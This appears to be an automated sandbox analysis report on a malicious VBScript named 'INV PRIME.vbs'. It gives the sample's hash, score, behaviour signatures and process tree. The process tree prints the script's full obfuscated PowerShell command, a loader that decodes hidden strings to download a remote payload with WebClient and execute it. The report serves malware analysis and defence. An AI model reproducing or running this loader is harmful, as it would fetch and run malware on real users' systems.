Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
08/11/2025, 16:47
General
- Target INV PRIME.vbs
- Size 104KB
- Sample251108-van4na1rbj
- SHA256 1c6ffce1cf786bfbdb5eb33d61f1db26da7e9ae52aef43266407abccc7cb20e6
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INV PRIME.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mv 'hematite';function Reemerging2 ($xanthos='restaureringsarbejde97'){ $smaabilledkameraerne=4;do { $confront+=$xanthos[$smaabilledkameraerne];$smaabilledkameraerne+=5;$boningens=Get-Date}<#Gummiering Abyes Vimpels Unlikably Tractility Forsure #>until (!$xanthos[$smaabilledkameraerne]);$confront}function Plsesnakkens ($mundrap){.$faglokale ($mundrap)}$udsivninger210=Reemerging2 ' oooT ffflxxxxsrrrr1GGGG2';$ekse=Reemerging2 ' FFFNbbbbEwwwwt||||. WWWWn nnE';$nuanceringerne=[Nullable[int]]0;$ekse+=Reemerging2 '_,__b%%% C????lK,KKI++++Eiii,N!!!!t';$vasoligation=Reemerging2 'LLLLMCCCCoOO Oz m mi iiil K.Kl ? ?aRR R/';$symphonized='aa a[####n::::ejjjjT!!!!. DDDS t tEDDD R SSSV bb.ivvvvCrrrrEJJJJP dddod ddi jjjNkkkkTwww MMMMMa====N ssAOO OGggggEHHHHR x x]RRRR:****:++++s++++ECCC.C%%%%u ///R%%%%iYYYYTzzzzY --P< <<ru uuOKKKKt && OYY Yc:: :O====L MMM= BB,$,^^^u JJJDdddds%%%%iOOOOV++++nIIIII****nxxxxgZZZZeHHHHR.ggg2wwww1ZZZZ0';$vasoligation+=Reemerging2 ' d d5uuuu.KKKK0ttt VVV,(::::W????iNN Nnzzzzd ###oggggw////sbbbb MMMNttttT ++ nnnn1 VVV0wwww.### 0pppp;^^^^ wwwW llli----naa a6XXXX4BBBB;<<<< GGGGx KKK6 ttt4WWWW;xxxx sssr ***v++++:eeee1^^^^4ZZZZ4r rr. qqq0llll)PP P UUU GSSSSe^ ^^c NNk X Xotttt/TTTT2eeee0.hhh1ffff0KKKK0 mmm1uuuu0YYY 1 FFF ====F ii i JJJrQQQQeEEEEfFF Fo G.Gxssss/RRRR1%%%%4XXXX4----.& &&0';$oolite=Reemerging2 '????u d dSXXXXerrrrR ~~~-XXXXaUUUUg####EPPPPniiiit';$praecornu=Reemerging2 '+.++h N,Nt++++t::::p====:yyyy/BBBB/wwwwvmmm it.ttdffffr >>,o----fDDDDebbbbryyyy.^^^^cs sso&&&&maaaa.====b AAArOOOO/zzzzCBBBBi ///r~ ~~k****eWWWWljjjjbBBBBuppppettttn&&& s;;;;.::::mbbbbsNNNNi';$girtonian=Reemerging2 ' --->';$faglokale=Reemerging2 'AAAAI,;;;e .++x';$programdokumentationen='defedation';$unconsidering='\Poulsen.Sty';Plsesnakkens (Reemerging2 '.qqq$KKKKCFFFFE>>> n d ds HHHexxxxr++.+=RRRR0KKKK; & &$xxxxgDDDDL >.>O____BXXXXaUUU,lJJJ :.WWWRCCC.iUUUUT G GU////AY YYLjjj IT.TTSFFFFm eeeS<<.<= -.-$___,e++++n;; ;V BBB:ss sakkkkpvvvvpooooDXXXXa^^^^TNNNNaJJJJ+----$ OO u ???n,MMMcuuuuOzz zN====Sg ggi NNNdRRRRe P PRqq.qippppnIIIIg');Plsesnakkens (Reemerging2 'hhhh$uuuuc<< <eOOOOn----s!!! Em mmr____=iiii0gggg;VVVV$ rrrGnnnnL____OMMMMB----a ===l ddd: zzzdE EEIhhhhallllmkkkkAVVVVnQQQQt ///I&,&&naaaaE++ +=--- $,EEEp%%%%rEEEEA~~~~E +++C????ODDDDR||||N****U SSS. ,eeS oooPBBBBlLLLLI||||tnnnn(====$UUUUgGGGGImmmmRYYYYt aaaooooon !!!i qqqA++++n<<<<)');Plsesnakkens (Reemerging2 $symphonized);$barnligt='placemonger';$praecornu=$diamantine[$nuanceringerne];$obskures='labouredly';$sponsorats=(Reemerging2 'Q.QQ$hhhhckkkkEDDDDNddddsRRRRE UUUrvvvv=ooo 0 HHH;zzzz$>> >gu uulYYY.o::::buuuuA OO LIII : ***o>>>>c* **E ooAVVVVN~ ~~oMMMMgZZZZR~~~~appppP ppphPPPPI|| |e YYYs ^^^= xxxnppppevvvvw????-CCCCOFFF bKKKKJqqqqEXXXXCHHHHt <<< ===,s mmY####s+++ tvvvvezzzzMg,gg.qqqq$GGGGEvvvvkeeeeS ^^^e');Plsesnakkens ($sponsorats);Plsesnakkens (Reemerging2 'FFFF$,hhho EEEc ; ;exx xa ww nKKKKoqqqqgxxxxr SS a uu,p++++h++++iE EEe=== s +++. TTTH::::euuuuaCCCCd dddeVVVVr +++sZZZZ[- --$KKKKobbbbobbbbl KKKiZZZZt .vve u u]::::=>>>>$QQQ.vIIIIax xxsmmmmo____l%%%%iggggg G,Gabb.bt::::i++++o&&&&n');$tandbrsters=Reemerging2 'MMMMDCC Co ___w----n';$tandbrsters+=Reemerging2 'nn nltttto cccArrrrD wwwf fffiw,wwl jjjE';$diaernes=Reemerging2 'xxxx$ aaao oooccccce****addddnxxxxo dddg SSSrNNNNawwwwp||||hJJJJi VVVejjjjszzz .%% %$****tPPPPa%%%%n==.=dIIIIb ???rOOOOs r rt g gesss rVV Vsx xx. pppIZZZZnSSS vMM MoDDDDk nn.eVVV.(c cc$----pyyyyrVVVVa ***e++++cWWWWoYYYYr>>>>n!!!!u////, II,$EEEEm qqqjCCCCsffffoqqqqmM,MMmPPPPeXXXXl||||iSSS,g ~~~eBBBB)';$mjsommelige=$ritualisms;mv 'matthus';Plsesnakkens (Reemerging2 ' ooo$XXXXC^^^^Ell lnCCCCSQQQ E bbbr????=####0xxxx; DD,$****Gq qqL ###oZZZZb<<<<arrrrlKK K:ZZZ.g rrrUL LLAQQQQR!!!!ddd dS www=SSSS(bbb t Z ZE XXXsHHHHTqqqq->>>>PXX Xac.cct___.HMMMM ll.l$RRRRM;;.;jll,lsttttOSSSSm XXXM zzzE,???lDDDDIvv vG ===Eoooo)');mv 'amphisile';while ((!$guards)) {Plsesnakkens (Reemerging2 'FFFF$PPPPcUUUUe<<<<n%%%%s,GGGeGGGGrnnnn= zz0yyyy;yyyy$ w wg AAAl::::oxxxxb????aQQQQloooo: LLLSaaaauZ ZZc%%%%cWWWWiJJJJnRRRRc dddt WW =zzzz$zzzzsPPPPh EE aJJJJyS SSk<<< h') ;Plsesnakkens $diaernes;Plsesnakkens (Reemerging2 'oooo[====T^^^^h pppR nnne tttaooooD !!!iaaaanEEEEGssss.ffffty,yyH//,/R ///E MMMAvvv d^^ ^] cc :????:rrrrSkkkkL?.??eRR.RE CCCpMMMM(^^^^3WW W7vvvv5hhhh0! !!)');Plsesnakkens (Reemerging2 ' !!!$ooooCdd dErrrrnjjjjs.zzzeYYYYR.ttt=FFFF0kkkk; zzz$ ,ddGyyyyl~~~~oOOOOB TTTa jjjlllll:OOOOgnnnnUDDDDa _ _R RRRD ~~ shhhh=E.EE(Q,QQTwwwwEUUU.SeeeeTllll-vvvvp EEEAHHH TiiiiH.jjj II$ PPPmLLLLj k.kS .==O.:::mccc MYY YE xx l hhhi |,|gnnnnepppp)') ;Plsesnakkens (Reemerging2 ' uuu$ ZZZCAAAAeHHHHnQQQQS YYYEllllr nnn=KKKK0eeee; CC$ .nnGF,FFL++++OKKKKbZ ZZattttl++++: sssfoo,oeHHHHJu uul jjjm eeeA----r_ __kuuuuEaaa RjjjjI kkkNJ JJgooooEwwwwNaa a=yyyy$*** G,yyyl** *OTTTTbGGGGa .kkL ,##:UUUUd,%%%RddddVqqqqE ,ttL_.__+^^ ^+ZZ,Z%dddd$tt tdddddIOOOOAHHH M rrraVVVVnooo t mm,iOOO,N^^^^e tt.IIIICOOOOOBBBBUSSS.n????t') ;$praecornu=$diamantine[$fejlmarkeringen]}$ralston=246468;$rekey146=29949;Plsesnakkens (Reemerging2 'yy y$ z zc iiiE TTTNjjjjs ;;;eAAAARxxxx=????0 KKK;,&&&$SSSSg X XL////ovvvvb %%%Ammm,L+,++:RRR sWWWWUkkkkc! !!CX XXEFFFFsn nnEttttnDDDDS !! OO.=UUUU IIIIg M,ME I.It.___- ~~ CggggoGGGGNFFFFt////exxxxnLLLLt#### iiii$.SSSm yyyj KKKs RRROWWWWmPPPPm QQQEAAAALuuuuIFFFFG~~~~E');Plsesnakkens (Reemerging2 ':,::$TTTTc||| e.PPPn WWWs UUe EEErtttt=FFF 0----; lll$g.ggg xxxlrrrroyyyyb.iiia ZZZlyyyy:^^^^MKKKKarrrrc.MMMr<<<<o.ZZZsoooo jjjj=ii i ####[&&&&Sjjjjy<<.<s dddtQQQQe||||m&&&&.aaaaC,gggo QQQn___ viiiiee.eerxxxxtFFF ]JJJJ:ffff:???,Fggggr&&&&oO OOmL LLBiiiiaffffsD DDetttt6!!!!4yyyyS ,AAt____r!!!!iQQQQn++++goooo(jjjj$GGGGsNN Nuaaaac&&&&c,KKKeLLLLsyyyyeLLLLn wwwsvvvv)');Plsesnakkens (Reemerging2 'FFFF$bbbbCppppe WW,NxxxxsCCCCExxx roo o=jj.j0****;zzzz$ppppGEEEElYYYYo HHHbvvvva>>>>lgggg:ffffP yy l<<<.AxxxxCTTTTEffffMHHHHOKKKKn~~~~G HHHe.tttRrrrr pppp=xx.x sss[<<<<t fffE++++XY.YYtRRRR.&&&&E++++n OOOC WW,OBBBBDvvvvIllllNggggg GGG] vvv:TTTT: bb Ai,iishhhhczzzzi y yi SSS.ccc.G::: E%%%,Tpp pS ###t VVVR=== i;;;;NmmmmgOOOO(ee,e$ fffmuuuuAmmm c====R <<<o====sqqqq)');Plsesnakkens (Reemerging2 '_ __$ggggC ==E%%%%N====SlllleccccR DDD=kk.k0oooo; >>>$gggggCCCCLEEEEOOOOOb----A < <l CCC:<<<<O____viiiie%%%%RGG GC+,++r;;;;ojjjjwggggn=====bb,b$TTTTp JJ,L ddda| ||C^ ^^EXXXXMUUUUoIIIIN####GDDDDeFFFFr CCC.ttt S.aaau ~~~B____s y ytZZZZRFFFFiLLLLN<<<<gTTTT( JJJ$ uuuR////a!!!!LooooS****T sssOYYYYnkkkk,UUUU$ ???Rnn nE--.-k?? ?EyyyyyE EE1^.^^4&&&.6####)');Plsesnakkens $overcrown;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_lzpccd1s.25g.ps1
memory/1496-4-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp
memory/1496-5-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp
memory/1496-6-0x000001A1EDF40000-0x000001A1EDF62000-memory.dmp
memory/1496-13-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp
memory/1496-14-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp
memory/1496-15-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp
memory/1496-16-0x000001A1EDD90000-0x000001A1EDDA0000-memory.dmp